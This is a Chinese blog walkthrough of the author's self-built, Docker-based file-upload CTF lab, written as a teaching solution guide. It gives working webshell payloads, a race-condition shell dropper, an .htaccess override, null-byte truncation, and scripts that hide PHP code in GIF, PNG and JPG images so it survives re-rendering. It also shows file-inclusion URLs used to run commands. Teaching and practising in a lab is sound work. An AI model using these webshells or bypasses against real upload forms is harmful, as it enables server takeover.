国光的文件上传靶场知识总结

国光的文件上传靶场知识总结
2020-10-25 00:0:0 Author: www.sqlsec.com(查看原文) 阅读量:21 收藏

直接使用别人的靶场总感觉不太好，那么就干脆自己写一个自己的文件上传靶场吧。正好博客之前也没有单独总结过文件上传的知识点，那么就顺便水一篇文章，岂不是一举两得。当然关于文件上传 upload-labs 总结的比较全面了，非强迫症患者建议直接去刷 upload-labs ，本文很多核心代码也都是直接用了 upload-labs 的轮子的…

国光有一台 XPS15 里面运行着 macOS 和 Ubuntu 双系统，其中 XPS 主要系统就是 Ubuntu，国光在 Ubuntu 里面搭建了一个离线的 CTFd 里面还运行着 Docker、宝塔。基本上很多服务都可以在我的 XPS 上运行起来了，出去讲课的时候会带着我的 XPS 和 MBP 一起，离线靶场一开美滋滋，更关键的是往自己的靶场里面填充题目有一种养成游戏的感觉，很有成就感。

又因为最近出书的问题，需要一个自己的靶场，那么就顺便开发一个自己的文件上传靶场吧，从简单到复杂根据自己的上课节奏来，开发完顺便放到 CTFd 中。本文写详细一点的话就可以做我自己靶场的官方 WP 了，也方便学生们课后自己消化吸收。当然如果也可以帮助到看到本文的其他朋友的话，这篇文章也变得就更加有意义了。

目前靶场一共有 13 题，感觉基本上的上传姿势点都覆盖了，除了 Windows 下的点、空格、::$DATA 特性没有覆盖到，其他的感（这个偷懒理由针不戳！）

DockerHub 项目地址：https://hub.docker.com/r/sqlsec/ggctf-upload

Github 项目地址：https://github.com/sqlsec/upload-labs-docker

# 进入项目文件夹
cd upload-labs-docker

# 一键部署运行
docker-compose up -d

默认 13 个关卡运行的端口为 30001-30013 这 13 个端口上，如果要自定义端口信息的话，自行修改 docker-compose.yml 文件即可。

一共 13 个 Docker 容器，可能第一次部署需要一定的时间，有点硬伤，耐心等待一下即可

本项目的优势：

Docker 一键部署很方便，可以灵活的导入到 CTFd 中
题目更侧重于教学，注重对选手解题的引导，而不是一味地刁难选手
配套保姆级 WP，妈妈再也不用担心不会解题啦
前端界面在同行的衬托下没有那么丑

国光认为好的题目就应该让选手在做题的时候给予线索引导，让他们可以从题目中真正学到些什么。

如何判断是否是前端验证呢？首先抓包监听，如果上传文件的时候还没有抓取到数据包，但是浏览器就提示文件类型不正确的话，那么这个多半就是前端校验了：

解法一：抓包

因为是前段验证的问题，可以直接将 shell.php 重命名为 shell.png 上传抓包的时候再将文件名修改为 shell.php 即可绕过前段限制，成功上传 webshell。

解法二：禁用 JS

因为 JS 来校验文件后缀的原因，所以可以直接在浏览器上禁用 JS 这样就可以直接上传文件了。Chrome 内核的浏览器在审查元素的状态下可以找到 Settings 选项，然后找到「Debugger」选项下面直接勾选「Disable JavaScript」即可。

解法三：调试 JS

这种解法就类似于孔乙己中的茴香豆的「茴」有几种写法？，纯粹就是为了炫技，但是并不实用，那么国光下面就简单说下调试 JS 的过程吧。

首先审查元素下下断点：

单行单步调试，找到 whitelist 变量，双击元素然后直接修改数组元素的值：

放掉数据包，之前的 shell.php 可直接上传成功：

成功拿到根目录下的 flag：

这样下去感觉上课都不需要 PPT 了，关键姿势点都直接贴在了题目中了：

因为提示了 MIME 类型校验，所以抓取上传的数据包然后直接修改 Content-Type 类型为：image/png 等合法的类型即可：

本题配图中里面包含了 GIF89a 已经很明显了，答案就在题目中：

本题校验了图片的文件头也就是校验图片内容的，这个时候使用一个标准的图马是可以成功绕过的，由于国光的这个代码只校验了前面几个字节，所以直接写 GIF89a 即可成功绕过：

本题的图片上的第 2 行代码是一个有缺陷的代码，黑名单关键词替换为空的操作是一种不安全的写法：

因为代码开发者的错误写法，这种情况下可以直接使用嵌套后缀绕过：

本地属于理论上漏洞，因为题目环境是 Docker 容器运行的 Linux 系统，所以本题国光修改成了 Windows 的特性

同理图片提示中的第 2 行代码也是有缺陷的，可以仅用了 str_replace 替换，这样很容易就被大小写绕过，因为 Windows 环境下不区分大小写，所以就可以让 .PHp 当做 .php 来解析了，但是 Linux 下这种大小写如果的话完全没作用，所以本题是国光自己造的漏洞，用来伪造 Windows 环境下的大小写不区分的情况：

本题同样题目的配图中暗示已经比较明显了，默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP：

那么这里 Fuzz 一下，发现这些稍微冷门的后缀都可以直接绕过：

本题的暗示也已经很明显了，只要选手查询 htaccess 怎么解析的话，就可以很顺利的解题：

因为题目是考擦 htaccess 这个上传知识点，所以先准备一个解析规则：

$ cat .htaccess
AddType application/x-httpd-php .png

然后先上传这个 .htaccess 文件到服务器的 upload 目录下：

这表示将 upload 目录下的所有 png 图片都当做 php 来解析，然后再上传一个 shell.png 即可：

此时这个 shell.png 就已经被当做 PHP 解析了：

本题依然在题目中科普了 00 截断是啥，以及 00 截断的利用条件：

00 截断多配合路径来截断，我们来抓包看看应该是存在路径信息的，然后直接在路径后面使用 %00 来截断一下就可以成功绕过，为啥 %00 直接就可以绕过了呢？这是因为路径信息是从 GET 方式传递个后端的，这样默认会进行一次 URL 解码，%00 解码后就是空字节：

这样保存的文件名就是这样的效果：

/usr/local/apache2/htdocs/upload/new.php%00shell.png

因为 %00 起到截断的作用，所以最终会在 upload 目录下面生成 new.php 的 webshell

国光这一题偷懒了，没有换题目外观，不过选手们抓包就会发现这是一个 POST 型的 00 截断：

既然是 POST 型 00 截断那么就直接抓包吧，需要在 BP 里面写一个 %00 然后再 URL 手动解码一下：

本题是一个条件竞争漏洞，也在题目中给了关键的功能代码贴图，以及给了解题思路了：

条件竞争的话稍微和正常的上传姿势不一样，先把题目中给的 webshell 信息复制出来备用：

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

然后先上传 shell.php 文件：

BP 抓取这个数据包然后发送到 Intruder 测试器中使用 NULL 空值无限爆破：

然后抓取访问 shell.php 的数据包：

GET /upload/shell.php HTTP/1.1
Host: vul.xps.com:30009
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

依然使用 NULL 空值爆破：

最后成功在服务器的 upload 目录下生成 xiao.php 里的内容就是一个标准的webshell：

这一题取材于 upload-labs 后面新增的题目：

move_uploaded_file($temp_file, $img_path)

当 $img_path 可控的时候，还会忽略掉 $img_path 后面的 /. ，这一点发现最早是 Smile 师傅于 2019 年 2 月份提出来的，TQL !!!既然知道 move_uploaded_file 的这个小缺陷的话，这样既可直接 Getshell：

imagecreatefrom 系列渲染图片都可能被绕过，有些特殊的图马是可以逃避过渲染的，另外这一题我特意还给了查看提示的按钮：

点击这个查看提示会出现如下页面：

注意 URL 发生了变化，没错这里是一个文件包含漏洞，这样包含选手们逃避渲染上传后的图片的话就可以直接 getshell 了：

接下来要总结一下二次渲染的细节了，这也是耗费时间写本文的主要动力之一，因为上面的那些知识点都比较常规，这个二次渲染的细节国光我一直都没有深入总结过，正好就放这里总结一下。

GIF

渲染前后的两张 GIF，没有发生变化的数据库部分直接插入 Webshell 即可

首先准备一张迷你的 GIF

然后上传到目标网站上面渲染一下再导出：

使用 010Editor 打开这两个文件，在「Tools」选项下面找到「Compare Files」即可对比两个文件内容：

对比的效果如下，其中灰的部分就是内容一致的部分：

那么只需要将 PHP 代码插入到灰色的部分即可：

修改后的 gif 图片如下：

然后上传到目标网站上面渲染一下再导出：

此时查看一下发现我们的 payload 内容依然存在：

PNG

PNG 没有 GIF 那么简单，需要将数据写入到 PLTE 数据块或者 IDAT 数据块。首先准备一个 PNG 图片：

两次渲染后对比一下，发现除了 PNG 文件头，其他部分全都不一致：

看来使用 GIF 那种思路是行不通的了。PNG 的解决方法继续往下面看。

写入 PLTE 数据块

关于实现细节以前乌云知识库的一篇文章写的很详细，感兴趣的朋友可以阅读看看：

WooYun 乌云 - php imagecreatefrom* 系列函数之 png

写入 PLTE 数据块并不是对所有的 PNG 图片都是可行的，实验证明只有索引图像才可以成功插入 payload，灰度和真彩色图像均以失败告终。

修改索引图像插入 PHP 代码的脚本项目地址为：Github - poc_png.py

因为值有索引图像的 PNG 才可能插入 PLTE 数据块，但是我们上面准备的 PNG 并不符合要求，得需要在 PS 里面将图片模式修改为索引颜色：

修改的索引图片如下：

然后使用 Python2 运行脚本：

python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png

生成新的 gg_shell.png 图片如下：

这个图片是带 payload 的：

然后上传到目标网站上面渲染一下再导出：

来检测一下我们的 payload 是否还存在了：

哎貌似不对劲：

这个字符串被渲染后貌似是顺序有点奇怪。这里国光踩了很多坑，查了很多资料网上都没有好的解决方案，最后国光将这个被目标网站渲染后的图片再上传渲染，下面是渲染后的图片：

赶紧来查看一下里面是否包含图马信息：

阿这！居然成功了，真的是功夫不负有心人呐，不枉国光我周末大半夜的在公司加班写的这篇文章了！！！泪目

写入IDAT数据块

PNG 也是可以写入 IDAT 数据来绕过渲染的，由于快 23.00 了国光没有多余的时间研究里面细节了，这里直接引用了先知里面提供的一个脚本：

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./shell.png');
?>

直接运行生成会在脚本目录下生成 shell.png 图片，下面是生成好的图片：

其内容如下：

然后上传到目标网站上面渲染一下再导出：

查看一下里面的 payload 是否还存在：

依然存在的，成功绕过渲染，这里顺便提一下这个 shell 的使用方法，下面就不再补充了。

首先获取图片的上传地址为：

http://vul.xps.com:30010/upload/357481464.png

利用网站本身的文件包含漏洞，尝试直接包含这个图马：

http://vul.xps.com:30010/?file=./upload/357481464.png

貌似成功了，执行命令看看：

http://vul.xps.com:30010/?0=system&file=./upload/357481464.png

POST 内容如下：

1=cat /f14a4a4a4a444g

JPG

JPG 也需要使用脚本将数据插入到特定的数据库，而且可能会不成功，所以需要多次尝试。

这个脚本 Github 搜索一下很多项目都有这个脚本，这里国光就随便搜索拿了搜索结果第一个的项目放在本文中。

项目地址：Github - lackFan/jpg_payload

准备一个 jpg 图片：

然后上传到目标网站上面渲染一下再导出：

接着使用脚本来插入 payload，如果想要修改默认 payload 的话，自行修改脚本中的下部分代码：

$miniPayload = '<?php phpinfo();?>';

然后运行脚本插入 payload：

$ php jpg_payload.php 122728342.jpg
Success!

生成的新图片为：

然后上传到目标网站上面渲染一下再导出：

那么来查看一下最终这个 JPG 里面是否带有 payload 信息：

无疑写 phpinfo() 是很容易成功的，但是 phpinfo() 并无实质性危害，我们需要插入真正的 webshell 才可以：

$miniPayload = '<?php $_GET[0]($_POST[1]);?>';

这里非常玄学，在国光经历了不知道多少次失败后，才成功将上面的 payload 完整插入

这个图马被 imagecreatefromjpeg 渲染后如下：

查看一下 payload 是否存在：

完美，尝试直接文件包含来执行攻击语句试试看：

JPG 坑点总结

需要被 imagecreatefromjpeg 渲染或再用工具
图片找的稍微大一点成功率更高
Payload 语句越短成功率越高
一张图片不行就换一张不要死磕
国光补充：貌似白色的图片成功率也比较高
<?php $_GET[0]($_POST[1]);?> 这种payload 成功率很高

代码审计这一题如果可以动态调试的话，那么理解起来就会比较简单：

这个题目是直接 copy Upload-labs 里面的最后一关，这个貌似还是后面新增的题目，下面是核心代码：

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

实际上最后一关和上传关系不大，这个题主要考查 PHP 代码审计，关于代码审计的题目实际上 XDebug 动态调试一下就可以很轻松的做出来，关于 XDebug 的配置文章可以参考国光我之前写的两篇文章：

首先看第一个判断：

$allow_type = array('image/jpeg','image/png','image/gif');

if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  echo "<script>black();</script>";
}

所以必须保证我们上传的表单 MIME 类型一定要符合标准。

接着对我们提交的 sava_name 的字符串进行处理，如果不是数组的话就以 .为分隔，打散为数组：

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

if (!is_array($file)) {
  $file = explode('.', strtolower($file));
}

如果是数组的话就无需打散，这里比较关键，后面再详细说，先记着。

因为打散后会校验最后的后缀：

$ext = end($file);
$allow_suffix = array('jpg','png','gif');

if (!in_array($ext, $allow_suffix)) {
  echo "<script>black();</script>";
}

如果不是合法后缀的话直接就报错了，所以我们老老实实的传入合法的字符串类型的不行的，这里的传入一个数组。比如这样的数组：

$file = [0=>'shell.php/', 2=>'png']

这样执行完最后的拼接文件名的代码后：

$file_name = reset($file) . '.' . $file[count($file) - 1];
$file_name = 'shell.php/' . '.' . $file[2 - 1]; = 'shell.php/'.'' = 'shell.php/.'

这样最后一步：

move_uploaded_file($temp_file, $img_path)
move_uploaded_file($temp_file, 'xx/xx/shell/php/.')

结合前面的 move_uploaded_file 函数缺陷，会忽略掉文件末尾的 /.，所以最终就可以成功将 webshell 上传。

那么最终构造的数据包如下：

目前文件上传的靶场一共 13 个关卡，自己从靶场开发到编写 WP 也耗时了好几天时间，不过每次总结整理这些的熟悉又陌生的知识点感觉都会有新的发现：

本文可能实际上也没有啥技术含量，但是写起来还是比较浪费时间的，在这个喧嚣浮躁的时代，个人博客越来越没有人看了，写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚，感觉本文对你有所帮助的话，可以考虑打赏一下本文，用以维持高昂的服务器运营费用（域名费用、服务器费用、CDN费用等）

没想到文章加入打赏列表没几天就有热心网友打赏了于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友，详情请看打赏列表 | 国光

文章来源: https://www.sqlsec.com/2020/10/upload.html
如有侵权请联系:admin#unsafe.sh